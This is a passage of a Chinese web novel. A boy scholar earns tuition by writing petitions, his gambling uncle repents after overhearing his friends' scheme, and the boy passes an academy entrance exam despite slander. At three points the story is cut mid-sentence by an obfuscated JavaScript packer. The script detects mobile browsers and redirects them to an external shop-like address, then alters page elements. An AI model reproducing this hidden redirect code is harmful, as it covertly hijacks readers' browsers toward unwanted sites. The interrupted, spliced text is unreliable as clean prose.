“是极！” 争论声嘈杂喧嚣，梅鹤时置若罔闻，将碎银推至掌柜跟前。 掌柜却摆了摆手：“方才那份诉状可不是什么人都能写的，小公子凭本事写出，老夫只收四两，余下归你。” 梅鹤时推辞一番，拗不过掌柜，只得将六两碎银收入荷包，坐回案前，铺纸研墨。 “小先生，老婆子也想请您写一份诉状。” “您所为何事？” “这要从年前说起......” 又一份诉状写罢，梅鹤时听着老妪的赞许，敛眸轻笑。 今日所挣银钱，除却束脩，足够支撑他数月开销。 平日里再寻些轻松活计，抄书作画之类，或许还有盈余贴补家用。 ...... 另一边，苏家酒坊内，酒香混杂着汗味，弥漫在狭小的雅间里。 桌上杯盘狼藉，空酒坛堆了半桌。 梅老二与狐朋狗友从辰时喝到午时，个个烂醉如泥，趴在桌上睡得人事不知。 亥时末，王老三先醒过来。 他揉了揉发胀的额头，盯着鼾声如雷的梅老二看了半晌，忽然伸手推了一把：“老二，醒醒，别睡了。” 梅老二迷迷糊糊睁开眼，眼神涣散，嘴里嘟囔着：“来来来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535753|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再喝一杯......” 王老三扯了下唇，凑到他耳边：“老二，你可还记得时哥儿中了案首？” 梅老二听得熟悉的名字，醉意散去几分：“记得，怎么了？” 王老三循循善诱道：“听说考棚外头贴满了他写的文章，县令大人还让人将那些文章刻印成册，供读书人品读。” “这般赏识，定赏了他不少银子。你何不去跟时哥儿借个几十两，咱们再去赌坊耍两把，若能赢个几百上千两，往后便不用再过苦日子了。” 梅老二望着酒盏上的竹叶，忽而想起阿兄通过县试那年，全家人皆笑得合不拢嘴，爹娘杀鸡宰鸭，邻里亦登门道贺。 那是梅家最热闹、最风光的日子。 如今时哥儿中了案首，比阿兄当年还要有出息，家里总算是有盼头了。 欣慰之余，一股酸涩涌上心头。 可惜阿兄再也见不到了。 梅老二下颌绷紧一瞬，抬手抹了把脸，起身步虚浮地往外走：“几日未回，我这身上都快臭了，回去换身衣服。” 顺便去阿兄坟前一趟。 虽然爹娘肯定早已向阿兄报了喜，他还是想亲口说一遍。 王老三连忙拉住他：“急什么？时辰尚早，先找时哥儿借钱，去赌坊玩几把再回去。” 梅老二却是不依，拨开王老三的手，跌跌撞撞往外走。 时哥儿待他那般无情，毫无对长辈的尊敬，他才不去自取其辱。 出了酒坊，却发现钥匙落在了雅间。 这个时辰家中多半无人，梅老二不愿被关在外头，遂折返去取。 行至雅间外，却听得王老三嬉笑着说道：“梅家底子薄，只待我设个局，让梅兴业欠个几千几万两，便是那小兔崽子再有出息，也得被活活拖死。” “只可惜梅兴业是个软骨头，畏首畏尾，到赌坊门口又让他给逃了。” “来日方长，他如今就是咱们养的一条狗，还怕他翻出天去不成？” 话音入耳，梅老二只觉一股寒意从脚底直窜头顶，浑身血液都凝固了。 他想要大叫，想要冲进去质问他们，想要狠狠揍他们一顿。 指尖触及门板，却缩了回去。 梅老二不知道自己是怎么走出酒坊的，只脑海中反复回响着他所谓好友们充满恶意的话语。 五脏六腑似是被一只无形大手撅住，从喉咙里拖拽出来，一路泛起细细密密的疼。 “麻烦先生替我写一篇祭文。” 粗犷声音响起，将梅老二从浑噩中拽回现实。 不知不觉中，他竟来了书肆。 时哥儿端坐案前，正为一老妪代笔。 “您瞧瞧，是否满意？” 老妪接过信纸，不住点头，爽快付了钱，随即话家常一般问道：“小先生每日起早贪黑，风吹日晒，你家里人怎舍得让你这般操劳？” 梅鹤时将铜钱放入木匣，温言道：“我多挣些钱，他们便能轻松一些。” 此言如千万细针，扎进梅老二心里。 梅老二再无法多听一字，转身拔腿狂奔。 他不顾一切往前冲，惶惶然逃离喧闹街市。 直至闯入一处偏僻冷清的窄巷，双腿一软，重重跪倒在地。 阵阵酒气混杂酸涩涌上喉头，他伏在冰冷地面，剧烈干呕不止。 压抑多日的情绪彻底崩塌，沙哑哭声响彻巷间。 21. 021 “深更半夜，何人在此鬼哭狼嚎？” 粗哑声音响起，梅老二霍然抬首，惊觉夜色已浓，说话的男子立于不远处，魁梧身形几乎遮蔽头顶月光。 梅老二胡乱抹了把脸，面上泪痕交错，混着尘土狼狈不堪：“我哭我的，与你何干？” 男子不悦皱眉：“你这动静吵得四邻不安，不知道的还以为巷子里闹鬼了。” 梅老二本就满心委屈与悔恨，被男子厉声一斥，积压心底的情绪又翻涌上来，喉头一哽，眼泪滚滚落下。 男子暗骂一声晦气，又不忍心看他在巷中哭到天明，若是冻出病来，或想不开自寻短见，自己也要受牵连。 “罢了罢了。”男子伸出蒲扇大掌，像拎小鸡似的将梅老二提了起来。 梅老二大惊，下意识挣扎，奈何对方力气极大，他根本挣脱不开，只能徒劳嘶吼：“放开我！不远处可是衙门，当心我让差爷抓你坐牢！” 男子懒得同他废话，拎着他出了窄巷，推开巷口旁第一道院门，将梅老二扔进去。 “诶呦！” 男子拍了拍手，粗声道：“我可不想明早起来，看见巷子里多一具尸体，影响我家做生意。” 梅老二捂着摔疼的屁股，不着痕迹打量这座小院。 院子不大，收拾得干净利落，东边搭着一个棚子，棚子下挂着几把磨得锃亮的杀猪刀，墙角堆着柴火，空气中还残留着浅淡血腥味。 显而易见，此人是个屠户。 梅老二眼前一亮，手脚并用爬起来，“扑通”一声跪倒在周屠子脚边，死死抱住他的大腿。 “大哥，我想跟你学杀猪！” 周屠子被他这突如其来的举动吓了一跳，抖了抖腿，却被梅老二抱得更紧。 他瞧着瘦得跟猴儿似的梅老二，语气带上几分不屑：“就你这细胳膊细腿，连猪都按不住，还学杀猪？” “我看你还是趁早打消这个念头，找个轻松的活计混口饭吃吧。” “我能吃苦！”梅老二两颊挂着泪，眼里却是前所未有的坚定，“我可以挑水劈柴，清理猪圈，什么脏活累活都能干。” 他顿了顿，又道：“我还识字，能帮你记账......” 周屠子面露诧异：“你既识字，怎会混成这副模样，连个正经营生都没有？” 梅老二脸色涨红，臊得恨不得寻个地缝钻进去，手指搓着衣角，声如蚊蝇：“我阿兄曾是秀才。” 阿兄临终前曾千叮万嘱，让他守好这个家，照顾好爹娘和侄儿。 可他做了什么？ 他整日不着家，跟王老三那群人鬼混。 爹娘一把年纪，还要起早贪黑地劳作。 时哥儿本该是安心读书的年纪，却要在书肆里替人代笔，为了几文钱受尽窝囊气。 梅老二忆起往日种种，心中悔恨如同潮水，几乎要将他淹没。 还有那些所谓的朋友，根本就是在算计他。 他却像个傻子一样，被他们蒙在鼓里，跟他们称兄道弟。 梅老二愤而捶胸，嚎啕大哭：“我真该死！我真没用！” “我对不起阿兄，对不起爹娘，更对不起时哥儿呜呜呜......” 周屠子被他哭得额角青筋直跳，抓起石桌上的窝头，塞进梅老二嘴里：“男子汉大丈夫，哭哭啼啼像什么样子？有错便去改，光靠哭能顶什么用？再哭，我就把你丢回去，任你自生自灭！” 哭声戛然而止，梅老二拔出窝头，大口大口咀嚼着，混着眼泪咽进肚里，又苦又涩。 周屠子叉着腰，来回踱步，半晌叹了口气：“丑话说在前头，杀猪不是什么轻松的事，起早贪黑，又脏又累，还要有胆量。” “你若是敢偷懒耍滑，我是断不会留你的。” 梅老二连连点头，嘴里塞着窝头，含糊不清说道：“我明白，绝不会偷懒的！” 周屠子摆了摆手，指向西南角的小屋：“夜已深了，你先睡睡一会儿，明日寅时就得起来。” “先从劈柴挑水开始，再看我们是如何杀猪了，摸清了门道再上手。” 梅老二欸欸应着：“大哥放心，我一定好好学！” 周屠子眼底闪过一丝赞许，拍了拍梅老二肩膀：“我虽不知你因何缘故堕落至此，但你还年轻，往后的路还很长，只要现在洗心革面，踏实做事，照样可以活出个人样。” 简单洗漱后躺到炕上，梅老二望着结了蛛网的木梁，咧开嘴无声笑了。 他闭上眼，时隔数日，终得以睡个安稳觉。 - 酉时，斜阳西沉，又到闭铺之时。 梅鹤时将笔墨收拾齐整，木匣交与掌柜。 掌柜清点完毕，拨给他两粒碎银并一堆铜钱：“这里是二百三十六文，小公子可要再清点一遍？” “不必了。”梅鹤时将工钱收入荷包，“掌柜，明日起晚辈便不来代写了。” 掌柜正拨着算盘，闻言了然一笑：“小公子这是要去清河书院了？” 梅鹤时颔首，拱手一揖：“前几日承蒙掌柜收留，挣得束脩，晚辈感激不尽。” 掌柜摆了摆手，正色道：“以小公子的文采，代笔实在屈才。往后若还想挣钱，小公子尽可来书肆，老夫这里有不少活计，写碑志，替人润笔，或是给字画题跋、作序。” 他有意给梅鹤时卖个好，压低声音说道：“东家名下商铺遍布城里城外，府城亦有好几处，认识不少官员、富商。” “凭小公子这一手好字，再有您案首的名头，工钱绝不会低。” 梅鹤时眉目染笑，郑重再揖：“掌柜好意，晚辈铭记在心，日后若有需要，必来叨扰。” ...... 行至村尾，梅老头与梅老太从西而来。 梅鹤时留意到两人身上沾了些草屑与泥点，上前接过蒙着布巾的竹篮：“阿爷阿奶这是上哪儿去？” 梅老太拍去裙摆上的泥灰，眼角微红：“方才去了坟地，将你中了案首的事儿告诉你爹。” 昨日忙着庆贺，亦有意避而不谈，下午才得空，去给长子上坟。 正不知如何作答，云恩玉从灶房探出头：“夕食好了，马上就开饭。” 梅鹤时心下一松，去菜地旁的水缸净手。 今日的夕食依旧丰盛，除了昨日剩下的红烧野味，还有两碟小葱炖豆腐。 豆腐是刘澄他娘送的，说是感谢县试那几日，梅鹤时对刘澄的提点。 梅老头尝一块，赞不绝口：“可惜十里八乡没有卖豆腐的人家，想吃还得去城里买，太麻烦。” “谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537545|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让咱家这一块儿没人有这个手艺呢。”梅老太先给梅鹤时夹一块豆腐，才顾上自己，似是随口一问，“时哥儿，这几日你进城，可曾见过你二叔？” 梅鹤时吃一口糙米饭，如实相告。 梅老太哼了声：“算他还有点良心，他若是真敢进赌坊，我定要打断他的腿！” 凤姐儿皱起小脸：“阿爹坏，阿奶莫生气。” 梅二婶暗自翻个白眼，胳膊肘往外拐的小兔崽子。 不过这一回，她认同时哥儿的做法。 老梅家穷得叮当响，若再欠下赌债，一家老小吊死算了。 梅老太被孙女儿逗乐，轻捏她的脸蛋：“你们可都要乖乖的，莫要学他。” 凤姐儿暄哥儿小鸡啄米般点头。 蘅姐儿眨巴眼，慢半拍地跟着点头。 寅哥儿低着头，撕下鸡皮，将一团瘦肉放入蘅姐儿碗中。 用过夕食，梅鹤时将今日所得置于桌角：“今日替人拟写诉状，得了六两碎银。孙儿留二两交束脩，购置笔墨草纸，余下交公。” 梅家人面上一喜，梅老太将银子推回去：“读书开销大，时哥儿留着自己用。” “不必，孙儿已经寻到稳定活计。”梅鹤时语气略强硬，“给家里添些米粮，再给暄哥儿几个买些零嘴儿。” 梅老太见他坚持，只好作罢：“这钱阿奶替你收着，回头若是不够用了，就跟阿奶说。” 梅鹤时自无不应。 梅二婶两眼放光地盯着那几粒碎银，堆起笑凑过来：“时哥儿，你看暄哥儿也老大不小了，整日四处疯玩也不是个事儿，你若得空，能不能教他识字？” 虽不想承认，她这侄儿确实有几分本事。 不仅学识出众，还能自己挣钱。 有时哥儿教导，或许有生之年，她也能当上秀才娘哩！ 梅鹤时瞧了眼恨不能把整张脸埋进碗里的暄哥儿，爽快应下：“待我考入书院，便着手教他。” 梅二婶喜不自禁，手脚麻利地收拾碗筷。 趁着天还未黑透，她打算再绣几条帕子。 多挣几个钱，供暄哥儿读书，顺便给凤姐儿攒些嫁妆。 ...... 梅鹤时坐于窗前，借夕阳余晖复盘了两道算学题。 洗漱后上炕，闭着眼盘算起长远。 待他考入书院，每逢休沐才能得闲，短期可以，长期教导暄哥儿终究不现实。 家里必须有个正经营生，有稳当收入，才能将暄哥儿送去村塾。 再过几年，寅哥儿也到了读书的年纪，两个孩子一同上学，束脩、笔墨及书本是一笔不小的开销。 他得仔细想想，该做什么营生。 一夜好眠，翌日卯时天光微亮，梅鹤时准时苏醒，进入图书馆。 代笔期间，他已向掌柜打探清楚。 针对通过县试的学子，清河书院山长偏爱考校四书文或试帖诗，择优录取。 梅鹤时精通诗赋不假，可他从来不打无准备的仗，遂轻触玉牌：“调取近两年山长所出考题。” 六个时辰转瞬即逝，梅鹤时已然摸清山长的出题喜好，将墨册归位，起身穿戴整齐，轻手轻脚去了灶房。 灶上温着杂面馒头，梅鹤时拿了两个，迎着晨曦赶往县城。 22. 022 梅鹤时徒步半个多时辰，终于抵达清河书院。 正值入学之时，众学子身着直裰，头戴素巾，手中捧着书卷，三五成群往书院内走去，眉宇间尽显意气风发。 行至朱红大门前，门房一眼认出梅鹤时，笑着问：“小公子可凑齐束脩了？” “劳您挂心，凑齐了。” 门房挑眉，短短数日便凑齐一两银子，倒是有几分能耐：“考校在书院东侧的明伦堂，沿这条石板路往前走，过了月洞门，右手边那座青砖灰瓦的屋子便是。” 梅鹤时拱手致谢，抬脚踏入书院。 凉风乍起，门房打个喷嚏，正欲挪去避风处，却被一青年叫住：“孙叔，方才那人似乎不是书院的学子。” 门房随口应声：“是前来参加入学考的寒门子弟。” 郑青云眼底闪过暗芒，拉住同行友人：“济川，帮我个忙。” ...... 辰时将至，山长李承仲与负责招生的王教谕疾步赶往明伦堂。 途径庭中假山，忽听两道交谈声。 “吴兄，你可还记得方才在门口见到的半大少年？” “可是一身青布短褐，模样周正，约莫十岁上下的那个？” “正是此人！吴兄有所不知，此人品行不端，手脚不干净，曾窃取书肆的笔墨纸砚，掌柜见他可怜，才不曾报官......” 王教谕闻言，登时沉下脸来。 李山长瞥了眼假山方向，只闻其声不见其人，抬手轻拢宽袖：“先去明伦堂，考校要紧。” “......是。” 另一边，梅鹤时循着门房的指引一路前行。 书院内青砖铺地，古木环廊，苍松翠柏洒落满目清荫。 错落屋舍隐于花木间，朗朗书声随风漫开，墨香与草木清气交融，沁人心脾。 不愧是清河县乃至淮安府最负盛名的书院，这份沉静与厚重，是寻常乡野私塾万万难以企及的。 不多时，梅鹤时便来到明伦堂。 堂下空地已有好几名书生，年纪多在十五六岁，亦有几个弱冠之年，皆是前来参加考校的。 见梅鹤时面孔稚嫩，身着半旧短褐，面上不免.流露几分轻视。 “这般年纪也来考书院，真当他是梅鹤时不成？” 窃笑声此起彼伏，梅鹤时置若罔闻，寻一处僻静角落站定，回顾清晨所学内容。 约莫半炷香工夫，李山长与王教谕行至明伦堂前。 众人见状，纷纷躬身行礼：“见过山长，见过教谕。” 晨光映照下，李山长面上交错的疤痕越发清晰，更显几分狰狞。 他目光扫过一众书生，在梅鹤时身上定格一瞬，虽一脸凶相，语调却温和：“清河书院自建立以来，治学严谨，宁缺毋滥，唯有品行端正、学识出众者，方能入我院求学。” “今日考校唯有一道四书题，限时两个时辰，写完即可上交，由我与王教谕共同评判。” 众人应是，簇拥李山长二人进入正厅。 厅内桌凳摆放齐整，案上笔墨齐备，另有草纸数张。 梅鹤时随意寻一张桌案落座，铺纸研墨。 待众人坐定，李山长公布考题。 “君子喻于义，小人喻于利。” 此句出自《论语》里仁篇，旨在探讨君子与小人在价值追求上的本质区别。 根据梅鹤时的破题经验，本题既要阐释“义”与“利”的内涵，点明君子与小人对待二者的不同态度，更要结合当下，抒发己见。 思路既定，梅鹤时便提笔书写起来：“君子秉心以义为根......” 王教谕立于上首，见大多数人仍在抓耳挠腮，苦思冥想，不知如何破题，唯有那最为年幼的，神情专注，下笔如飞，不见半分停顿。 他心中冷哼，只觉假山后那两人所言不虚。 此人品行低劣，纵然下笔再快，写出来的文章也必然立意偏颇，肮脏不堪。 让这般人踏入书院门墙，真真污了这一方文脉净土。 王教谕眼底闪过嫌恶，别过脸不再看他。 半个时辰弹指即逝，众人皆已陆续动笔。 王教谕走下阶台，于一众考生间踱步巡视，不时俯身打量旁人所作文章。 他神色肃穆，无波无澜，看过一篇又一篇，始终缄默不语，半句品评也未落下。 这副高深莫测的模样，直叫众人心里打鼓，不知自己的文章能否入得了教谕的眼。 十余名考生尽数看过一遍，唯独行至梅鹤时身侧时，刻意目不斜视，脚步不停，径直略过。 众人瞧在眼里，只当对方年纪太小，不值一观，笔下越发严谨起来。 梅鹤时似无所觉，四百余字文章一气呵成，逐字润色过后，誊写至考卷上，双手捧到李山长面前：“学生文章已写好，请山长评判。” 清朗嗓音惹得众人侧目，无不面露诧异。 此人第一个交卷，莫非真有几分真才实学？ 王教谕却是皱眉，不咸不淡应了声：“出去候着吧。” 梅鹤时躬身一揖，退出正厅。 王教谕低声问：“山长，您可要一阅？” 李山长负手而立，深褐色眼眸落于虚空：“你先过目便是。” 王教谕应诺，伸手取来梅鹤时的考卷。 他本想随意扫几眼，挑几处瑕疵错漏，借机将此人筛落下去。 谁知几句看下来，竟悄然变了脸色。 此篇文章破题精准，论证严密，引经据典恰到好处，字里行间透着一股超出年龄的沉稳与通透。 尤其结尾处，恳切表达了自己坚守道义、立志求学、报效家国的志向，胸襟格局令人由衷叹服。 王教谕反复看了两遍，心中的厌恶与偏见逐渐被震惊取代。 他不得不承认，即便是经久科场的考生，也未必能写得出这样的文章，更何况是一个半大少年。 有道是文如其人，王教谕不禁庆幸，未曾在开考前将此人逐出书院，否则岂不是要错过一个难得的人才？ 李山长见王教谕神色变幻不定，粗略扫过几句，顿时了然。 再看右上角姓名栏，眼底闪过惊异。 梅鹤时？ 景泰十年县案首？ 两个时辰转瞬即逝，王教谕扬声道：“考试结束，所有人即刻停止书写，上交考卷。” “稍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540005|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等，我还有最后两句！” “学生还未写完，请教谕通融通融！” 哭求声迭起，王教谕丝毫不为所动，大掌一挥，便有书童上前，强行取走他们的考卷。 “请诸位在院内等候，勿要随意走动，半个时辰后公布结果。” 说罢，李山长与王教谕一同走进明伦堂内侧的厢房。 ...... 一众考生退出正厅，三三两两聚于廊下。 “今日考题不算刁钻，我破题立论稳妥，想来应有几分把握。” “方才一时慌乱，论据尚未铺排周全，怕是不成了。” 梅鹤时立于廊边，望着垂柳静默不语。 一旁青年见状，只当他是自觉考校失利，暗自神伤，上前轻拍他的肩头，温声宽慰：“书院考校本就严苛，你年岁尚幼，阅历尚浅，输给旁人也实属寻常，他日重头再来便是，切莫因此一蹶不振。” 梅鹤时眉梢微挑，从善如流道：“多谢兄台宽慰。” 青年见他谦和有礼，顺势打开了话匣子，抱臂感慨道：“说起来，前些日子的县试才真是热闹，考题出得有水平，还闹出陈耀文构陷同年的风波，满城百姓皆在议论。” “最让人佩服的还是那位县案首，以十岁之龄才压一众学子。我若是能有他那般天资，也不至于寒窗苦读多年，至今仍是个白身......” 另一边，李山长与王教谕很快批阅完十余份考卷。 李山长将最后一份考卷置于案上，轻捋长须，抬眼看向王教谕：“依你之见，此番考生中，谁人可录入书院？” 王教谕沉吟片刻，斟酌着回道：“通篇看下来，大半学子或破题偏失，或文气浅薄，立意平平，仅有两人尚可造就。” “其一便是最先交卷的梅鹤时，文思卓绝，义利之辨剖析透彻，格局胸襟远超常人，另一位则是冯思源，虽不及梅鹤时灵气逼人，却也恪守儒道，中规中矩，堪可收录。” 李山长笑着打趣：“方才来时路上，你在假山外听闻闲言，对这梅鹤时可是甚是不喜，认定他品行不端、不堪造就，怎的如今倒成了你口中数一数二的可塑之才了？” 王教谕面上一热，颇为惭愧地拱了拱手：“经此一事，某才算真正明白，何为耳听为虚，眼见为实。” “梅鹤时文品上乘，言行有度，绝非那二人所言那般不堪，倒是某偏听偏信了。” 李山长微微颔首，捻须正色道：“治学育人，首在公允识人，不可被流言左右本心。二人皆是可造之材，便依你所言，只录这两人吧。” 二人商定妥当，起身一同走出厢房。 众人见山长与教谕现身，交谈声戛然而止，个个屏息凝神，神色难掩焦灼。 李山长朗声道：“此番入学考校，经我与王教谕逐篇批阅，择优录取，最终只取两人。” 众人心头一紧，只听李山长郑重宣布：“梅鹤时，冯思源，此二人考卷立意端正，准予入书院求学。” 此言一出，全场哗然，满心焦灼尽数被震惊取代。 梅鹤时？ 竟是那个十岁便高中案首的奇才！ 先前以梅鹤时嘲讽对方的考生霎时红了脸。